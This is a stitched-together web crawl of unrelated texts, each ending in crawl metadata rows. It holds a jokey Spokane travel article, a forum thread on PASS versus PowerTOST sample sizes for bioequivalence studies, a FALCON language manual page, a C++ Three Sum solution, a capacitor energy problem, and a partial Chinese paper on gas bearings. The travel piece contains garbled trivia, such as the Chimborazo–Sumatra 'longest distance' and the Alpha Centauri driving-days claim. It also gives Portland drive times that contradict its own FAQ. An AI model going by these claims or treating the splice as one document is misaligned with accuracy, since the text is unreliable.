If you’re kicking off your adventure in Seattle, prepare yourself for approximately 279 miles of soul-stirring beauty separating these two magnificent cities. With an estimated drive time of around five hours, make sure those tunes are queued up for some epic car karaoke sessions along the way!
### Example 2: Portland
For those fortunate enough to reside in Portland – known for its quirky vibe and delectable food scene – you’ll only need to traverse roughly 351 miles(yep!) before basking in Spokane’s charm. Expect a delightful jaunt lasting anywhere between six and seven hours, depending(yep)on unexpected pit stops at peculiar roadside attractions (World’s Largest Ball of Yarn, anyone?).
### Example 3: New York City
Now, if you happen to be reading this article while enjoying a slice of pizza in the Big Apple, your journey will require a bit more planning and preparation. Approximately 2, 655 miles(wowzers!) separate New York City from Spokane – quite the cross-country expedition! Grab some snacks for the road and gear up for an unforgettable adventure spanning multiple days (feel free to throw in a spontaneous detour or two!).
Whether solitarily contemplating distances or engaging in lively discussions with friends about the topic, it’s always fun to discover some quirky facts along the way. Prepare yourself for a few intriguing tidbits that might just leave you slack-jawed.
1. The longest distance on Earth can’t be measured by traditional methods alone! When factoring in undersea topography as well, the span between Chimborazo Peak in Ecuador and Sumatra Island truly takes the crown.
2. On land, Russia stretches across an astonishing eleven time zones(nope, not typing error)– now that’s what we call breadth!
3. Want another astonishing measurement? Journeying from one end of Australia to its opposite sidewould take roughly thirteen hours
4. If you consider exploring outer space anytime soon (because why not?), keep in mind that reaching our nearest star system, Alpha Centauri, would demand approximately 271 million driving days – let’s hope teleportation devices are invented before then!
## Conclusion: It’s Within Reach
In conclusion(yes we’re concluding already), while calculating distances can sometimes feel like navigating through convoluted corridors without a map(cue Indiana Jones theme song), rest assured that determining how far Spokane is from your location shouldn’t feel as complicated as quantum physics.
With myriad technological advancements available at our fingertips and epic road trips to be had, embarking on the journey from your current abode to Spokane is both feasible and filled with frivolous fun(bring those snacks!). Whether you choose to focus on mileage, travel time or enjoy a more whimsical approach by comparing it to intergalactic voyages – the choice is yours.
So don’t delay any longer! Grab a map(digital or vintage), pack your bags, fuel up the car (or prep your spaceship), and head toward Spokane. Its splendor awaits you!(and perhaps even bookworms like yourself can find solace in exploring its extensive library scene)
FAQ: How Far Is Spokane?
Q: What is the distance between Spokane and Seattle?
A: The approximate driving distance from Spokane to Seattle is about 279 miles.
Q: How long does it take to drive from Spokane to Portland?
A: It typically takes around five to six hours to drive from Spokane to Portland, covering a distance of approximately 352 miles.
Q: What is the flight duration from Los Angeles to Spokane?
A: A nonstop flight from Los Angeles International Airport (LAX) to Spokane International Airport (GEG) usually takes around two hours and thirty minutes. However, actual travel time may vary depending on various factors.
Q: How many miles are there between Calgary and Spokane?
A: The approximate driving distance between Calgary, Canada, and Spokane is around 353 miles. Please note that this estimation may vary based on the route chosen for travel.
Q: Can you provide information about public transportation options between Coeur d’Alene and Spokane?
A: Yes! There are several public transportation options available between Coeur d’Alene and Spokane. These include bus services operated by companies like Greyhound or local transit agencies like SPOT Transit or Citylink, which offer affordable fares for traveling within this region.
Note: The responses provided here are purely informational based on commonly searched questions related to distances involving Spokane. They do not reflect real-time data or personalized experiences while traveling. | 1,536 | 7,829 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.296875 | 3 | CC-MAIN-2024-10 | latest | en | 0.932523 |
http://forum.bebac.at/mix_entry.php?id=21440 | 1,591,525,891,000,000,000 | text/html | crawl-data/CC-MAIN-2020-24/segments/1590348526471.98/warc/CC-MAIN-20200607075929-20200607105929-00270.warc.gz | 48,029,558 | 14,242 | Helmut
★★★
Vienna, Austria,
2020-05-15 12:31
Posting: # 21440
Views: 1,824
## Problems with PASS [Software]
Dear all,
a colleague received a sample size estimation of an CRO performed in PASS 15.0.5 for a fully replicated study (TRRT|RTTR), CV 0.50, T/R 0.95, power 0.80, ABE (unscaled). The result was N=54 (power 0.8053).
Since he is a fan of PowerTOST he tried
library(PowerTOST) sampleN.TOST(CV = 0.5, theta0 = 0.95, targetpower = 0.80, design = "2x2x4")
and got
+++++++++++ Equivalence test - TOST +++++++++++ Sample size estimation ----------------------------------------------- Study design: 2x2x4 (4 period full replicate) log-transformed data (multiplicative model) alpha = 0.05, target power = 0.8 BE margins = 0.8 ... 1.25 True ratio = 0.95, CV = 0.5 Sample size (total) n power 50 0.812806
Lower sample than with PASS (and higher power; with one dropout it will be still >0.80).
54 subjects instead of 50 are good for the CRO, bad for the sponsor. 💰
He suspected that PASS does not use the exact method (default in most function of PowerTOST) but one of the approximations and tried the noncentral t (method = "nct") as well as the shifted central t (method = "shifted"):
sampleN.TOST(CV = 0.5, theta0 = 0.95, targetpower = 0.80, design = "2x2x4", method = "nct", print = FALSE, details = FALSE)[7:8] Sample size Achieved power 1 50 0.8128063 sampleN.TOST(CV = 0.5, theta0 = 0.95, targetpower = 0.80, design = "2x2x4", method = "shifted", print = FALSE, details = FALSE)[7:8] Sample size Achieved power 1 50 0.8120118
Then he was worried and sent me an email together with the output of PASS…
We know that in a 2×2×4 design power is approximately equal to a 2×2×2 design with ½ of its sample size because the number of treatments is the same and the differing degrees of freedom play a lesser role. In this case: 98 / 2 = 49 → 50. This approach is used in package bear.
Since I’m not aware of reference tables for replicate design evaluated for ABE, I tried simulations (see this post for the code) and got for simulating statistics
Sample size Achieved power 1 50 0.81228
and for simulating subjects
Sample size Achieved power 1 50 0.81231
What the heck? The output of PASS gives a list of references (I numbered the list):
1. Chow, S.C. and Liu, J.P. 1999. Design and Analysis of Bioavailability and Bioequivalence Studies. Marcel Dekker. New York
2. Chow, S.C.; Shao, J.; Wang, H. 2003. Sample Size Calculations in Clinical Research. Marcel Dekker. New York.
3. Chen, K.W.; Chow, S.C.; and Li, G. 1997. 'A Note on Sample Size Determination for Bioequivalence Studies with Higher-Order Crossover Designs.' Journal of Pharmacokinetics and Biopharmaceutics, Volume 25, No. 6, pages 753-765.
#2 is known for many typos; hence, I ignored it.
#3 contains sample size tables and therefore, was a good candidate. Surprise: With increasing CV sample sizes were – generally – larger than expected. Unfortunately the tables don’t go beyond 40%. However, in Table VII 38 subjects are given, whereas I got 34. The underlying ABE-model is not specified; the authors refer to #1. OK, Chapter 9 is it. Gotcha, carryover in the model! Stephen Senn devoted a good part of his book about crossover studies arguing against it. Not only that carryover is scientifically questionable, none of the guidelines recommend such models. BTW, #1 contains also tables where the sample sizes are (consequently) too large.
Given all that, I recommend to
• neither use PASS (at least for ABE in replicate designs)
• nor the sample size tables in #1 and #3.
I will download the trial version of PASS2020 to assess it further.*
PS: If you are with a CRO you might be tempted to sell the sponsor large studies. That might backfire like in this case where to sponsor knows PowerTOST
• v20.0.1
Splendid.
Sample size (power) for ABE {0.8000|1.2500}, CV 0.50, ratio 0.95, target power 0.80, α 0.15 (!)
Seems that in PASS for the replicate designs the shifted central t-distribution is implemented and for the 2×2×2 the noncentral t (closest match of power). Nothing given in the manual.
TRRT|TRRT
PASS : 32 (0.8003)
sampleN.TOST(): 30 (0.8100)
TT|RR|TR|RT
PASS : 232 (0.8019)
sampleN.TOST(): 232 (0.8020)
TTRR|RRTT|TRRT|RTTR
PASS : 32 (0.8301)
sampleN.TOST(): 32 (0.8302)
TR|RT
PASS : 58 (0.8005)
sampleN.TOST(): 58 (0.8005)
Even if we consider the crude relationship of the 2-sequence full replicate to the 2×2×2: 58 / 2 = 29 → 30 < 32.
Cheers,
Helmut Schütz
The quality of responses received is directly proportional to the quality of the question asked. 🚮
Science Quotes
ElMaestro
★★★
Belgium?,
2020-05-15 13:01
@ Helmut
Posting: # 21441
Views: 1,267
## Problems with PASS
Hi Hötzi,
I could be wrong but...
PASS may be assuming this is a case of two sample t-test-like-scenario, where it does not take into consideration that the actual model causes additional reduction of df's.
You may be able to approximately reproduce PASS' result if you can override the df's in PowerTOST. I would still anyday say PowerTOST is more right than PASS, of course.
I could be wrong, but...
Best regards,
ElMaestro
"Pass or fail" (D. Potvin et al., 2008)
Helmut
★★★
Vienna, Austria,
2020-05-15 13:42
@ ElMaestro
Posting: # 21442
Views: 1,260
## Problems with PASS
Hi ElMaestro,
» I could be wrong but...
We all may be but…
» PASS may be assuming this is a case of two sample t-test-like-scenario,…
It does (according to the manual and given in the output).
» … where it does not take into consideration that the actual model causes additional reduction of df's.
Yep, that’s the point! It gives me an answer to a question I did not ask (a model nobody uses for ages). Since I played around with the trial version, I can now say that it is a black 📦.
At least for the replicate designs the carryover model is hardcoded, not specified in the manual, and there is no way to change that.
I just sent an email to NCSS’ support asking for a clarification.
» You may be able to approximately reproduce PASS' result if you can override the df's in PowerTOST.
Maybe.
» I would still anyday say PowerTOST is more right than PASS, of course.
I like this one:
Of course, PASS passes IQ and OQ. Remember what you once wrote?
Cheers,
Helmut Schütz
The quality of responses received is directly proportional to the quality of the question asked. 🚮
Science Quotes
ElMaestro
★★★
Belgium?,
2020-05-15 19:02
@ Helmut
Posting: # 21443
Views: 1,204
## Problems with PASS
Hi again,
» Yep, that’s the point!
Let's face it: ElMaestro is always right. Except when he is wrong.
You better get used to this very basic law of science.
» Remember what you once wrote?
Hehe, it is a bit vague in my memory. Prions and loads of paint thinner have taken their toll on my brain.
It must be inspired by something someone said, but I don't recall well. Perhaps from something I read in a Borland Delphi manual or something?! That would be the right place for a garbage discussion anyway.
I could be wrong, but...
Best regards,
ElMaestro
"Pass or fail" (D. Potvin et al., 2008)
d_labes
★★★
Berlin, Germany,
2020-05-15 19:45
@ Helmut
Posting: # 21444
Views: 1,197
## Problems with PASS
Dear Helmut, dear ElMaestro,
» » I could be wrong but...
»
» We all may be but…
Me too. Especially me .
Just my 2 cents.
Differences between PASS and PowerTOST w.r.t replicate cross-over designs
• PASS uses degrees of freedom from an cross-over ANOVA having an carry-over term
PowerTOST uses only the usual terms tmt, period, sequence and subject
• The design constant for the 2x2x4 design is 1.1 instead of 1.0 in PowerTOST
• The power is calculated approximately in PASS via the shifted central t-distribution
• For log-transformed data the approximation CV ~ se is used in PASS (!).
se is the standard error of the residuals.
Especially the last feature is due to the differences in the sample sizes got from PASS compared to. My recommendations spporting Helmuts recommendations above:
Don't use the sample sizes for replicate designs obtained by PASS because
• They rely on statistics not used in the evaluation of the study
• They rely on crude approximations, especially on CV ~ se which may work for small CVs but is beyond repair for higher values
Regards,
Detlew
Helmut
★★★
Vienna, Austria,
2020-05-15 23:20
@ d_labes
Posting: # 21445
Views: 1,180
## Problems with PASS
Dear Detlew,
your first three points explain why sample sizes are generally larger. The last why differences increase with the CV.
CV SE 0.05 0.05003 0.10 0.10025 0.20 0.20202 0.30 0.30688 0.40 0.41655 0.50 0.53294 0.60 0.65828 0.70 0.79518 0.80 0.94683 0.90 1.11710 1.00 1.31083
Cheers,
Helmut Schütz
The quality of responses received is directly proportional to the quality of the question asked. 🚮
Science Quotes
Helmut
★★★
Vienna, Austria,
2020-05-17 14:34
@ Helmut
Posting: # 21447
Views: 1,095
## PASS <2000?
Dear all,
due to Detlew’s detective work (THX!) I see it clearer now. Seems that it was a bug in earlier versions.
“Equivalence Tests for the Ratio of Two Means in a Higher-Order Cross-Over Design (Log-Normal Data)” were added in PASS v14. Although nothing is stated about an improvement/update in later versions, according to the online manual (identical to the one which came with the PASS 2020 Trial) I could reproduce the examples with the internal function power.PASS() of PowerTOST. Code upon request.
All examples for ABE {0.8000|1.2500}, α 0.05.
Example 1 – Finding Power: ABB|BAA (Manual 545-9) CV N reported shifted nct exact PT.shifted PT.nct PT.exact 0.4 10 0.0000 0.0000 0.0000 0.0299 0.0000 0.0000 0.0285 0.4 20 0.3051 0.3051 0.3111 0.3120 0.3060 0.3118 0.3126 0.4 30 0.5858 0.5858 0.5887 0.5887 0.5861 0.5889 0.5889 0.4 40 0.7483 0.7483 0.7501 0.7501 0.7484 0.7503 0.7503 0.4 60 0.9035 0.9035 0.9045 0.9045 0.9035 0.9045 0.9045 0.4 80 0.9627 0.9627 0.9633 0.9633 0.9627 0.9634 0.9634
The default in power.PASS() is the approximation by the shifted central t-distribution (method = "shifted"), although the noncentral t (method = "nct") and the exact method by Owen’s Q (method = "exact") are implemented as well. Columns starting with PT give results obtained by power.TOST().
Confirmed that PASS uses the shifted t, which I solely used in the other examples. Good agreement with power.TOST().
Example 2 – Finding Sample Size: ABB|BAA (Manual 545-11) CV target Power reported N1 pwr1 N2 pwr2 PT.N.shifted PT.pwr.shifted PT.N.exact PT.pwr.exact 0.4 0.8 0.8026 45 45 0.8024 46 0.8119 46 0.8119 46 0.8134 0.4 0.9 0.9035 60 60 0.9035 60 0.9035 60 0.9035 60 0.9045
Good agreement (N1) though in practice one would round up to N2 in order to get balanced sequences like in all sample size-functions of PowerTOST.
Example 3 – Validation using Chen et al. (1997): AA|BB|AB|BA (Manual 545-12) SE CV target Power reported N1 pwr1 N2 pwr2 PT.N.shifted PT.pwr.shifted PT.N.exact PT.pwr.exact 0.1003 0.1 0.8 0.8106 16 16 0.8106 16 0.8106 16 0.8151 16 0.8239 0.1003 0.1 0.9 0.9085 20 20 0.9085 20 0.9085 20 0.9104 20 0.9192
Good agreement again. Note that in order to reproduce the results of Chen et al. – despite CV is stated in the paper – we have to work with the standard error of residuals. Here it is with 0.1002505 close to the CV of 0.1 but see also there.
Now the troublesome one of the OP.
Example 4; PASS 15.05.5: ABBA|BAAB (SE instead of CV) SE CV target Power reported N1 pwr1 N2 pwr2 PT.N.shifted PT.pwr.shifted PT.N.exact PT.pwr.exact 0.5329 0.5 0.8 0.8053 54 55 0.8053 56 0.8123 50 0.812 50 0.8128
I could not reproduce it exactly (the different design constants and dfs due to carry-over cut also in) but it explains what is going on in this earlier version of PASS and the discrepancy to sampleN.TOST().
Now what we can expect* in PASS 2000 2020 (and perhaps in a version >15):
Example 5 = 4; PASS 2000 (use CV) CV target N1 pwr1 N2 pwr2 PT.N.shifted PT.pwr.shifted PT.N.exact PT.pwr.exact 0.5 0.8 49 0.804 50 0.812 50 0.812 50 0.8128
Seemingly OK.
Conclusion: If you use PASS, update to v2000 v2020. If you are a sponsor receiving a sample size estimation in an earlier version, demand an update (or use PowerTOST ).
• Expect, yes. Will you get these values? No.
Still not corrected in PASS2020.
Cheers,
Helmut Schütz
The quality of responses received is directly proportional to the quality of the question asked. 🚮
Science Quotes
d_labes
★★★
Berlin, Germany,
2020-05-17 17:01
@ Helmut
Posting: # 21448
Views: 1,078
## PASS 2020
Really PASS 2000 or PASS 2020?
Regards,
Detlew
Helmut
★★★
Vienna, Austria,
2020-05-17 17:34
@ d_labes
Posting: # 21449
Views: 1,072
## PASS 2020!
Dear Detlew,
» Really PASS 2000 or PASS 2020?
F**k! 2020, of course. Freudian? IIRC, I once had Chris Hintze’s “NCSS 2000”.
Cheers,
Helmut Schütz
The quality of responses received is directly proportional to the quality of the question asked. 🚮
Science Quotes
Helmut
★★★
Vienna, Austria,
2020-05-21 18:43
@ Helmut
Posting: # 21456
Views: 774
## PASS 2020: Outcome
Dear all,
in the following my observations/conclusion about PASS2020 v20.0.1 (released 2020-02-10). I checked only the sample size procedures relevant for ABE. CV 0.1–0.4 (Δ 0.02), 0.5, 0.75, 1.0; θ0 0.85–1.00 (Δ 0.05); AR {0.8000|1.2500}; target power 0.8 and 0.9. I compared the results of PASS with the exact method of PowerTOST and the SAS-code for the noncentral t-distribution given by Jones & Kenward (2000) ported to R. Not surprisingly in all of my 1,152 scenarios the exact method agreed with the noncentral t. PASS not so much…
Paired samples
The design for ratios is not directly accessible in PASS (only for differences). Novices (aka “Push-the-button statisticians”) might not know how to set it up based on logs and conclude that is not possible.
PASS reports the sample size / group. So far so good. Though nobody would start a study with unequal group sizes (which give at least the desired power) and round up to the next even anyhow, there are many cases were 2×n of PASS is larger than already even (total) sample sizes by the exact method and the noncentral t. With a few exceptions (4 of my 128 scenarios) the sample sizes were larger than necessary (x̃ +2.11%, range –0.07 to +33.3%). In the most common area of CV 0.2–0.3, θ0 0.95, power 0.8: x̃ +6.27%. Why? Duno.
2×2×2
Accessible twice. Under the and . OK, why not. However, the results differ: For θ0 0.85, CV 1, power 0.8, I got in the former 2,334 (unless I ask for the exact sample size) and in the latter only 2,333. Likely most people use the latter and round up to next even number to get balanced sequences. Looks stupid if the output is part of the SAP.
2×2×4 (TRTR|RTRT, TRRT|RTTR, TTRR|RRTT)
Accessible under the . I’m not happy with the terminology of replicate studies used in PASS. Though Chen et al. (1998) used “Higher-Order” that’s rather unusual. Generally Higher-Order refers to more than two treatments.
Acc. to Chinese Whispers a sponsor had lengthy discussions with a “statistician” of a CRO using PASS. Since only ABBA|BAAB is given in Design setup and the manual, he insisted of using this one. Well, that’s uncommon. All regulatory agencies give TRTR|RTRT in their guidelines…
1. If you perform the study as TRRT|RTTR, statistically all is good but likely you have to deal with questions from assessors (who are rarely statisticians).
2. If you perform the study as ABAB|BABA to make regulators happy, of course you could use the sample size estimated in PASS because
• there are actually three 4-period 2-sequence replicate designs, namely ABAB|BABA, ABBA|BAAB and AABB|BBAA and
• all of them have the same design constants and degrees of freedom.
• Hence, in three hypothetical studies with the same effects one would observe exactly the same point estimates and residual variance.
• But: Imagine a picky assessor discovering the output of PASS in the SAP stating ABBA|BAAB, whilst the study was performed as ABAB|BABA. Questions on the way, again.
As we observed before, the 2×2×4 is beyond repair. I can only assume that the SE instead of the CV is used. Possibly there are still problems with the dfs and design constant to calculate the SEM. In 95 of my 128 scenarios the sample size was too large. If I assess only studies with n≥12, x̃ +4.35%, range ±0 to +33.3%. Example: θ0 0.95, CV 0.2, power 0.9: PASS estimates 16 though only 12 are needed.
2×2×3 (TRT|RTR, TRR|RTT)
Terminology again. Following Chen et al. only the “Three-Period, Two-Sequence Dual ABB|BAA” given. Sigh. More or less OK. Following the EMA’s Q&A and assessing only studies with at least 24 subjects: x̃ ±0%, range –0.65 to +7.69%.
2×4×4 (TRTR|RTRT|TRRT|RTTR, TRRT|RTTR|TTRR|RRTT)
I would not use any of those due to confounded effects. For completeness only.
Generally OK. Assessing only scenarios with n≥12: x̃ ±0%, range ±0% to +33.3%.
2×4×2 (TR|RT|TT|RR, Balaam’s design)
Generally OK. Assessing only scenarios with n≥24: x̃ ±0%, range –0.54% to +5.26%.
Higher-Order Designs (Latin Squares and Williams’ designs) for ratios are not implemented.
Reference-scaling not implemented.
We must no forget that any interventional trial carries some degree of risk. Hence, ICH E9 „Statistical Principles for Clinical Trials” stated already in 1998
The number of subjects in a clinical trial should always be large enough to provide a reliable answer to the questions addressed.
Large enough, not larger
Cheers,
Helmut Schütz
The quality of responses received is directly proportional to the quality of the question asked. 🚮
Science Quotes
mittyri
★★
Russia,
2020-05-24 22:12
@ Helmut
Posting: # 21459
Views: 582
## Customer satisfaction
Dear Helmut,
I would give you one month NCSS business analyst salary if I were NCSS top manager. But I am not, sorry
what I've found on their marketing page regarding customer satisfaction:
PASS 13 is fantastic! Better than my new dishwasher and microwave combined.
Never ever buy kitchen combines!
Kind regards,
Mittyri | 5,622 | 18,438 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.578125 | 3 | CC-MAIN-2020-24 | latest | en | 0.818433 |
http://www.quadibloc.com/prog/lg0507.htm | 1,660,087,350,000,000,000 | text/html | crawl-data/CC-MAIN-2022-33/segments/1659882571090.80/warc/CC-MAIN-20220809215803-20220810005803-00747.warc.gz | 87,384,113 | 1,620 | [Next] [Up] [Previous]
# The LIST Statement
A LIST statement can have the form
``` LIST*22 (MUTABLE) V
```
which declares V as an entity containing any number of values of MUTABLE type and names of up to 22 characters for each of these values.
Thus,
``` . V=_L(X=25.3, Y='HELLO', Z=_A(2,17,6))
```
causes the information that the pseudovariable X is the real number 25.3, Y is the string HELLO, and Z is a 3-element array containing the integers 2, 17, and 6 to be stored in the list V.
Note that the statement
``` . V=_L(X=N)+V
```
puts a pseudovariable named X in the list V having as its value the value of N at the time that that statement was executed; it does not create any link between the variable N and the list V.
It is possible to create such a link in a LIST; the function _MQ(variable) can be used: assigned to a MUTABLE variable, it causes that variable to become the same as its argument. Thus,
``` . V=_L(A=_MQ(A))
```
causes the MUTABLE item within the list V given the name A to have the type of, and to occupy the storage of, the FALCON program's variable A. Since _MQ(...) always returns a frozen result, it is not necessary to execute
``` FREEZE V('A')
```
However, it is not possible to create such a link if A were a mutable variable; instead, it is far preferable to use a VLIST where this is desired.
Note that LISTs are considered to be unordered.
A list element may be referred to using the pseudovariable name as a list index: thus, a list can be thought of as an array with subscripts of type STRING; however, it cannot be declared as such, as arrays may not have undefined elements, and occupy contiguous memory corresponding to their 'index space'.
If the pseudovariable A in the list L is an array, element 3 in that array can be referred to using the notation _L('A')(3).
[Next] [Up] [Previous] | 486 | 1,875 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.75 | 3 | CC-MAIN-2022-33 | latest | en | 0.89651 |
https://byby.dev/three-sum | 1,696,460,832,000,000,000 | text/html | crawl-data/CC-MAIN-2023-40/segments/1695233511424.48/warc/CC-MAIN-20231004220037-20231005010037-00482.warc.gz | 153,538,514 | 102,839 | # Three Sum
The Three Sum problem on LeetCode is a well-known algorithmic problem that asks you to find all unique triplets in an array of integers that sum up to a specific target value. In other words, given an array of numbers, the task is to find all combinations of three numbers from the array such that their sum equals a given target value.
Problem Statement: Given an array nums of $n$ integers, find all unique triplets $(a, b, c)$ in the array such that $a + b + c = 0$. The solution set must not contain duplicate triplets.
Solving this problem typically involves writing an efficient algorithm that avoids duplicates and has a time complexity better than $O(n^3)$. A common approach is to sort the array and use two-pointer techniques to find the triplets efficiently.
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
vector<vector<int>> threeSum(vector<int>& nums, int target) {
vector<vector<int>> result; // to store the final answer
sort(nums.begin(), nums.end()); // sort the array in ascending order
int n = nums.size(); // get the size of the array
for (int i = 0; i < n - 2; i++) { // loop through the array from 0 to n-3
if (i > 0 && nums[i] == nums[i-1]) continue; // skip duplicates for the first element
int left = i + 1; // set the left pointer to i+1
int right = n - 1; // set the right pointer to n-1
while (left < right) { // loop until left and right pointers meet
int sum = nums[i] + nums[left] + nums[right]; // calculate the sum of the triplet
if (sum == target) { // if the sum is equal to the target
result.push_back({nums[i], nums[left], nums[right]}); // add the triplet to the result
left++; // move the left pointer to the right
right--; // move the right pointer to the left
while (left < right && nums[left] == nums[left-1]) left++; // skip duplicates for the second element
while (left < right && nums[right] == nums[right+1]) right--; // skip duplicates for the third element
} else if (sum < target) { // if the sum is less than the target
left++; // move the left pointer to the right
} else { // if the sum is greater than the target
right--; // move the right pointer to the left
}
}
}
return result; // return the final answer
}
int main() {
vector<int> nums = {-1, 0, 1, 2, -1, -4}; // sample input array
int target = 0; // sample target value
vector<vector<int>> ans = threeSum(nums, target); // call the function with input array and target value
for (auto v : ans) { // loop through the result vector
for (auto x : v) { // loop through each triplet vector
cout << x << " "; // print each element of the triplet
}
cout << endl; // print a new line after each triplet
}
return 0;
}
// Output:
// -1 -1 2
// -1 0 1
The algorithm runs in quadratic time, $O(n^2)$, where $n$ is the number of elements in the input array. This is mainly due to the two-pointer technique.
The space used by the algorithm is also quadratic, $O(n^2)$, primarily because of the storage required for the result vector, which can hold up to $O(n^2)$ triplets in the worst case. | 787 | 3,044 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 8, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.34375 | 4 | CC-MAIN-2023-40 | longest | en | 0.61118 |
https://www.shaalaa.com/question-bank-solutions/energy-stored-capacitor-each-capacitor-figure-has-capacitance-10-f-emf-battery-100-v-find-energy-stored-each-four-capacitors_68848 | 1,586,402,565,000,000,000 | text/html | crawl-data/CC-MAIN-2020-16/segments/1585371829677.89/warc/CC-MAIN-20200409024535-20200409055035-00424.warc.gz | 1,122,963,412 | 11,252 | Department of Pre-University Education, KarnatakaPUC Karnataka Science Class 12
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# Each Capacitor in Figure Has a Capacitance of 10 µF. the Emf of the Battery is 100 V. Find the Energy Stored in Each of the Four Capacitors. - Physics
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ConceptEnergy Stored in a Capacitor
#### Question
Each capacitor in figure has a capacitance of 10 µF. The emf of the battery is 100 V. Find the energy stored in each of the four capacitors.
#### Solution
Capacitors b and c are in parallel; their equivalent capacitance is 20 µF.
Thus, the net capacitance of the circuit is given by
1/C_"net" = 1/10 + 1/20 + 1/10
⇒ 1/C_"net" = (2+1+2)/20 = 5/20
⇒ C_"net" = 4 "uF"
The total charge of the battery is given by
Q = C_"net"V = (4 "uF") xx (100 "V") = 4 xx 10^-4 C
For a and d,
q = 4 xx 10^-4 "C" and "C" = 10^-5 "F"
therefore E = q^2/(2C) = (4 xx 10^-4)/(2 xx 10^-5)
⇒ E = 8 xx 10^-3 "J" = 8 "mJ"
For b and c,
q = 4 xx 10^-4 "C" and "C"_(eq) = 2"C" = 2 xx 10^-5 "F"
therefore V = q/C_(eq) (4 xx 10^-4)/(2 xx 10^-5) = 20 V
⇒ E = 1/2 CV^2
⇒ E = 1/2 xx 10^-5 xx 400
⇒ E = 2 xx 10^-3 "J" = 2 "mJ"
Is there an error in this question or solution?
#### Video TutorialsVIEW ALL [1]
Solution Each Capacitor in Figure Has a Capacitance of 10 µF. the Emf of the Battery is 100 V. Find the Energy Stored in Each of the Four Capacitors. Concept: Energy Stored in a Capacitor.
S | 537 | 1,468 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.09375 | 4 | CC-MAIN-2020-16 | latest | en | 0.73185 |
https://image.hanspub.org/Html/11-2810103_28079.htm | 1,581,989,556,000,000,000 | text/html | crawl-data/CC-MAIN-2020-10/segments/1581875143455.25/warc/CC-MAIN-20200217235417-20200218025417-00185.warc.gz | 422,099,228 | 14,325 | 基于CFD对气体静压径向轴承动态分析 Dynamic Analysis of Radial Throttle Pinhole Hydrostatic Bearing Based on CFD
International Journal of Fluid Dynamics
Vol. 06 No. 04 ( 2018 ), Article ID: 28079 , 8 pages
10.12677/IJFD.2018.64019
Dynamic Analysis of Radial Throttle Pinhole Hydrostatic Bearing Based on CFD
Chou Fan, Shanghan Gao, Bing Li, Zhuang Ni
School of Mechanical Engineering, Guangxi University of Science and Technology, Liuzhou Guangxi
Received: Nov. 23rd, 2018; accepted: Dec. 11th, 2018; published: Dec. 18th, 2018
ABSTRACT
In view of the limitations of static analysis of static pressure bearings with radial throttling holes, a large eddy simulation (LES) is proposed to analyze the flow field changes near the aperture of a small hole between adjacent moments. At the same time, the changes in the flow field near the throttle holes in the circumferential position are analyzed, and the small hole throttle Kong Fu is obtained. The relationship between the parameters and the velocity of the eyes, the number of Maher and the variation of the vorticity of the eyes, is obtained by the analysis of the different parameters at different positions. Finally, we get the conclusion that the fluctuation of each parameter is related to the vibration of aerostatic bearing.
Keywords:Aerostatic Bearing, Large Eddy Simulation, Flow Field, Eddy Current, Vortex Line, Maher Number
1. 引言
2. 基本方程
$\frac{\partial }{\partial t}+\frac{\partial p}{\partial {x}_{i}}\left(\rho {u}_{i}\right)=0$ (1)
$\frac{\partial }{\partial t}\left(\rho {u}_{i}\right)+\frac{\partial p}{\partial {x}_{j}}\left(\rho {u}_{i}{u}_{j}\right)=\frac{\partial {\tau }_{ij}}{\partial {x}_{j}}-\frac{\partial p}{\partial {x}_{i}}-\frac{\partial }{\partial {x}_{j}}\left({\delta }_{ij}\right)$ (3)
$\frac{\partial p}{\partial {x}_{i}}\left(\rho h{u}_{i}\right)=\frac{\partial \left(\rho {u}_{i}\right)}{\partial {x}_{i}}+{\tau }_{ij}\frac{\partial {u}_{i}}{\partial {x}_{i}}$ (3)
(3)是能量守恒方程
3. CFD仿真
3.1. 建立模型
Figure 1. The model of gas basin and the position of throttle hole
3.2. 网格划分
3.3. 边界条件及初始化
(a) 定义节流孔附近条件和监测点 (b) 节流孔在轴承的位置
Figure 2. Definition of the conditions near the throttle and the monitoring point
3.4. 求解计算
4. 计算结果分析
Figure 3. Eccentricity (ε = 0.3) position distribution at 90˚
